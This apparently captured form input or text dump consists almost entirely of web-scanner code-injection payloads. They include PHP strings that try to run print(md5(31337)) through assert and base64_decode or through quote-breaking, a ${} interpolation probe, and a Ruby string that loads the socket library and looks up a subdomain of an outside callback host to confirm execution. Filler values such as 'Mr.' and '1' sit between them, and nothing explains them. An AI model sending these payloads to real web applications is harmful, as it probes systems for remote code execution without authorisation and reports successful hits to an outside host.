Mr.

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

1

';print(md5(31337));$a='

1

1

";print(md5(31337));$a="

1

"+"A".concat(70-3).concat(22*4).concat(121).concat(78).concat(110).concat(80)+(require"socket"
Socket.gethostbyname("hitko"+"orufnrwj6ea4d.bxss.me.")[3].to_s)+"

${@print(md5(31337))}